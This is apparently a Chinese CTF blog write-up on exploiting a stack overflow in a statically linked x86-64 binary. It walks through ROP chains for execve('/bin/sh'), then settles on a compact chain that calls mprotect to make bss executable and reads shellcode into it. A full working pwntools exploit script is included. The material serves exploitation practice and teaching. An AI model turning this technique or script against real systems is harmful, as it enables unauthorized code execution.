静态链接 + mprotect

前言

别的师傅给的题目不知道出自哪里。

程序分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1LL, "welcome~\n", 9LL);
  vul();
  return 0;
}

__int64 vul()
{
  char v1; // [rsp+0h] [rbp-80h]

  return read(0LL, &v1, 256LL);
}

程序很简单,存在栈溢出,而且程序是静态链接的。

利用思路

程序可以溢出 0x78 个字节。然后是静态链接的,那先考虑 rop chain 一把梭:

p = ''
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += pack('<Q', 0x000000000000003b) # rax
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000425def) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall

这明显超过 0x78 字节了,那就自己修改一下:

p = ''
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += pack('<Q', 0x000000000000003b) # rax
p += pack('<Q', 0x0000000000000000) # rdx
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # rsi
p += pack('<Q', 0x00000000004003da) # syscall

还是超过了 8 字节。那没办法,只能找别的思路。
程序是静态链接的,说明整个 libc 库都会被链接进文件中,那就有很多可以利用的函数和 gadget 。
在程序中找到了 mprotect 函数:

.text:000000000043FD00                 public mprotect ; weak
.text:000000000043FD00 mprotect        proc near               ; CODE XREF: new_heap+7F↑p
.text:000000000043FD00                                         ; sysmalloc+2AD↑p ...
.text:000000000043FD00 ; __unwind {
.text:000000000043FD00                 mov     eax, 0Ah
.text:000000000043FD05                 syscall                 ; LINUX - sys_mprotect
.text:000000000043FD07                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:000000000043FD0D                 jnb     __syscall_error
.text:000000000043FD13                 retn
.text:000000000043FD13 ; } // starts at 43FD00
.text:000000000043FD13 mprotect        endp
.text:000000000043FD13

那问题就简单了,调用 mprotect 修改 bss 段为可执行,再调用 read 函数往 bss 段中写 shellcode ,最后返回 shellcode 的起始地址就能 get shell 。

flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])

刚好 0x78 个字节,估计出题人的思路就是这个吧。

exp

from pwn import *
from struct import pack

file_name = './pwn3'

context.binary = file_name
context.log_level = 'debug'


bss = 0x6cd000
pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
mprotect = 0x43FD00
read = 0x43F1B0

p = process(file_name)
#p = remote('')
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

shellcode = asm(shellcraft.sh())

payload = 'a' * 0x88
payload += flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])

p.send(payload)

sleep(0.2)

p.send(shellcode)


p.interactive()

posted @ 2020-09-03 18:21  PwnKi  阅读(233)  评论(0编辑  收藏  举报